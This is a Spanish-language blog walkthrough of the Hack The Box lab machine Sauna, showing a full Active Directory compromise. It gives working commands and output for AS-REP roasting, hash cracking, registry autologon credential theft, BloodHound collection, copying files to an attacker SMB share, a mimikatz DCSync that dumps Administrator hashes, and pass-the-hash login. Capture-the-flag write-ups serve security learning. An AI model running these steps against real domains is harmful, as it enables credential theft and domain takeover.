Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquina Retirada Sauna AD de Hack The Box (Necesario VIP)

Sauna AD ~ Hack The Box

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allports 10.10.10.175       "

Procedemos con el siguiente escaneo de Nmap

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-01-02 00:47:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m02s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-01-02T00:48:04
|_  start_date: N/A

Procedemos a enumerar el puerto 80 y ver que hay a nivel WEB para enumerar posibles Usuarios a nivel del Dominio encontrado EGOTISTICAL-BANK.LOCAL Introducimos el Dominio en nuestro archivo /etc/hosts

Encontramos unos posibles usuarios Validos a nivel web, procedo a montarme un Diccionario para preoceder a realizar un ASREP-Roast Attack Para ello utilizaremos la herramienta GetNPUsers.py mas a delante.

Procedemos a montarnos un archivo con los Nombres de los Usuarios Encontrados

# cat diccionario_users                                                                                                                                                                                      1 ⚙
Fergus Smith
Shaun Coins
Bowie Taylor 
Sophie Driver
Steven Kerb

Ahora procedemos a hacer uso de la herramienta Username-Anarchy para crear distintas variaciones en los nombre de usuario a nivel del diccionario_users.

# ./username-anarchy --input-file diccionario_users  --select-format first,flast,first.last,firstl
fergus
fergus.smith
ferguss
fsmith
shaun
shaun.coins
shaunc
scoins
bowie
bowie.taylor
bowiet
btaylor
sophie
sophie.driver
sophied
sdriver
steven
steven.kerb
stevenk
skerb

Redirigimos el contenido de usuarios nuevos creados a el Archivo diccionario_users.modifed

ASREPRoasting Attack

Paso 1 - Tener un diccionario Creado con posibles Usuarios para realizar el ataque Paso 2 - Realizar el Ataque con la siguiente estructura modificando el Dominio y Diccionario a usar

# GetNPUsers.py egotistical-bank.local/ -no-pass -usersfile ../nmap/diccionario_users.modified      
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 - Copyright 2021 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:847325b2e10c33d2ae7b40c82a74ff56$7f6c655697711e9b3e7d75f09a12d53e1b521549fd5704bf
bdeb5fa321b54f2a115dee82fbc6d9dcd6526a31e44b5701a39574897418052dd9062a21db7aebe7ad0f5b63a05ef041053cfa2e03bc0caa058044cd2caf8
89023bcf1b3a0aa0f3eef4c6425f4e37f9e4d2d3fcbde5dfd462cc11bd19a168c81239e9dfafb0530b8c87321497389afcef5dc573142acef0b14a2b0a161
d182e665c760814e73e13a8a4cb8fc0fe61dc4c164a598d0adf5d95f616fe8c46dd5deae459f703e1c42392eefc9912258061dbd0676f054279cbbb1d457a
daf0a64b196f1f47249b3a6de3c43c15b6d734e888a884d4a9b5bcbbf533d6895403bbd692f69b59b743ea83c
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
.
-

Vemos que obtenemos un HASH que podemos proceder a Crackear conm la herramienta John

# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
"Thestrokes23"     ($krb5asrep$23$"fsmith"@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:04 DONE (2022-01-04 15:51) 0.2232g/s 2352Kp/s 2352Kc/s 2352KC/s Tiffani143..Thehulk2008
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Obtenemos Credenciales

fsmith: Thestrokes23

Procedemos a Validar con Crackmapexec el usuario y la password tanto para SMB como para WINRM

# crackmapexec smb 10.10.10.175 -u fsmith -p Thestrokes23                   
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23

# crackmapexec winrm 10.10.10.175 -u fsmith -p Thestrokes23
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)

Procedemos a conectarnos como el usuario fsmith con la Herramienta Evil-winrm

# evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'                   

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami 
egotisticalbank\fsmith

Procedemos a enumerar Usuarios a nivel Local en la Maquina y los guardamos en un archivo.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr

Procedemos a subir nuestro scrip winPEASx64.exe para realizar un reconocimiento Encontramos las siguientes Credenciales para el usuario almacenadas por defecto en el AUTOLOGON:

svc_loanmgr: Moneymakestheworldgoround!

Sacar las credenciales Almacenadas en el Autologon Windows

*Evil-WinRM* PS C:\Users\FSmith\Documents> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    EGOTISTICALBANK
    DefaultUserName    REG_SZ    EGOTISTICALBANK\svc_loanmanager
    .......etc... 
    DefaultPassword    REG_SZ    Moneymakestheworldgoround!

Procedemos a Validar las Credenciales para el user svc_loanmgr con Crackmapexec

# crackmapexec smb 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!

# crackmapexec winrm 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!' 
WINRM       10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM       10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)

Vemos que Tambien tenemos acceso para conectarnos con la Herramienta Evil-winrm al user svc_loanmgr

# evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'      

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

Haciendo Uso de SharpHound.ps1

Procedemos a enumerar el sistema a nivel de Active Directory con la herramienta SharpHound.ps1 Nos descargamos SharpHound.ps1 haciendo un wget a –> https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1 Grepeando por la funcion

# grep "Invoke-BloodHound" SharpHound.ps1
function Invoke-BloodHound{
        PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00
  "     PS C:\> Invoke-BloodHound -CollectionMethod All "     ---> esta es la que usaremos
        PS C:\> Invoke-BloodHound -CollectionMethod DCOnly -NoSaveCache -RandomizeFilenames -EncryptZip

Procedemos a subirlo a la maquina victima a la siguiente ruta C://Windows/Temp/Privesc/

Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> cd C://Windows/Temp/Privesc
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload SharpHound.ps1
Info: Uploading SharpHound.ps1 to C:\Windows\Temp\Privesc\SharpHound.ps1

Progress: 43% : |▓▓▓▒░░░░░░

*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir
    Directory: C:\Windows\Temp\Privesc

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         1/4/2022   2:13 PM         974235 SharpHound.ps1

Una vez subido Procedemos a hacer lo siguiente:

*Evil-WinRM* PS C:\Windows\Temp\Privesc> Import-Module .\SharpHound.ps1

*Evil-WinRM* PS C:\Windows\Temp\Privesc> Invoke-BloodHound -CollectionMethod All

*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir


    Directory: C:\Windows\Temp\Privesc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         1/4/2022   2:15 PM           9067 20220104141535_BloodHound.zip
-a----         1/4/2022   2:13 PM         974235 SharpHound.ps1
-a----         1/4/2022   2:15 PM          11122 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin

Ahora procedemos a iniciar el servicio neo4j console en una terminal ~ Nos logueamos con nuestras Credenciales Ahora procedemos a iniciar el servicio BloodHound &>/dev/null & para subir el archivo .zip que acabamos de crear con la expresion anterior atraves del modulo SharpHound

Antes de subir el archivo al BloodHound sofware tenemos que pasarnoslo a nuestra maquina, para ello nos creamos un recurso compartido con Impacket-smbserver y nos sincronizamos con el recurso compartido que acabamos de crear desde la maquina victima:

*Evil-WinRM* PS C:\Windows\Temp\Privesc> net use x: \\10.10.16.7\smbFolder
The command completed successfully.
# impacket-smbserver smbFolder $(pwd) -smb2support                                                                                                                                                           1 ⚙
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.175,49885)
[*] AUTHENTICATE_MESSAGE (\,SAUNA)
[*] User SAUNA\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)

Una vez ya tenemos el Recurso x: o smbFolder seteado procedemos a pasarnos el archivo .zip

*Evil-WinRM* PS C:\Windows\Temp\Privesc> copy 20220104141535_BloodHound.zip x:\20220104141535_BloodHound.zip

Listo, Ya tendriamos nuestro archivo en nuestra maquina Atacante, preparado para subirlo al BloodHound.

BloodHound - GetChangesAll - DCSynck Attack

Con el BloodHound Activo y chequeando por posibles formas de llegar al DC, pinchamos en la forma de realizar un DCSYnc Attack y enumeramos la siguiente informacion:

El usuario `svc_loanmgr` tiene como privilegios `GetChanges-All` & `GetChanges` sobre El dominio `Egotistical-bank.local`  

Pinchamos sobre como podemos abusar de esto y vemos una potencial forma de realizar con mimikatz.exe un DCSynck Procedemos a subir el archivito mimikatz.exe y realizar el DCSynck Attack:

*Evil-WinRM* PS C:\Windows\Temp\Privesc>" C://Windows/Temp/Privesc/mimikatz.exe 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator' exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : "Administrator"
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 7/26/2021 8:16:16 AM
Object Security ID   : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID   : 500

Credentials:
 " Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e"
    ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e
    ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff
    ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f
    lm  - 0: 365ca60e4aba3e9a71d78a3912caf35c
    lm  - 1: 7af65ae5e7103761ae828523c7713031

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 716dbadeed0e537580d5f8fb28780d44

* Primary:Kerberos-Newer-Keys *
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
      aes128_hmac       (4096) : a9f3769c592a8a231c3c972c4050be4e
      des_cbc_md5       (4096) : fb8f321c64cea87f
    OldCredentials
      aes256_hmac       (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
      aes128_hmac       (4096) : 145e4d0e4a6600b7ec0ece74997651d0
      des_cbc_md5       (4096) : 19d5f15d689b1ce5
    OlderCredentials
      aes256_hmac       (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef
      aes128_hmac       (4096) : 52c02b864f61f427d6ed0b22639849df
      des_cbc_md5       (4096) : d9379d13f7c15d1c

* Primary:Kerberos *
    Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
    Credentials
      des_cbc_md5       : fb8f321c64cea87f
    OldCredentials
      des_cbc_md5       : 19d5f15d689b1ce5

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  b4a06d28f92506a3a336d97a66b310fa
    02  71efaf133c578bd7428bd2e1eca5a044
    03  974acf4f67e4f609eb032fd9a72e8714
    04  b4a06d28f92506a3a336d97a66b310fa
    05  79ba561a664d78d6242748774e8475c5
    06  f1188d8ed0ca1998ae828a60a8c6ac29
    07  801ddc727db9fa3de98993d88a9ffa8b
    08  a779e05da837dd2d303973304869ec0f
    09  ac2c01846aebce4cbd4e3ec69b47a65d
    10  6d863d6ae06c3addc49b7a453afe6fa0
    11  a779e05da837dd2d303973304869ec0f
    12  6676b9fdd4aa7f298f1ada64c044c230
    13  5a01167d750636d66e5602db9aece9b7
    14  f702282bd343c2fee7b98deac8950390
    15  a099aa3c81f1affeba59d79a6533f60d
    16  4bae84b8f0b0306788ff9bda4acb3bd4
    17  976d547fb9e04b0ac5ec60508c275da1
    18  50c302b71d0e08a1a2be14b56225645f
    19  edb19e08653443695f6d3599e0a6bddf
    20  c497465ddc6e2fc14cb0359d0d5de7f8
    21  2ed0b4b57196fb190a66224b2b17029f
    22  37d03051ae1cd6046975948564ab01fa
    23  d4c7554fe1beb0ed712f50cfec470471
    24  8df495fe69cdce409b9f04ea04289b9e
    25  40788044be982310920cc0740687fefd
    26  db7f66f1f1a8f46274d20cfdda5b6e1c
    27  d70226ec52f1ef198c2e1e955a1da9b6
    28  abdd681f875a9b3f3a50b36e51692a2c
    29  dcd140a2ce2bf70fed7ac0e2b60d0dee


mimikatz(commandline) # exit
Bye!
*Evil-WinRM* PS C:\Windows\Temp\Privesc> 

Fijarse muy bien en la sintaxis de todo en general es importante.

Procedemos a hacer PassTheHash con el Hash NTLM encontrado para el user Administrator:

# evil-winrm -i 10.10.10.175 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
7ad57cf8f51a37019eaadxxxxxxxxxxxxxxxxxxxx

Maquina Sauna Hackeada ~~ Active Directory Path ~~ K0H4ck Yeah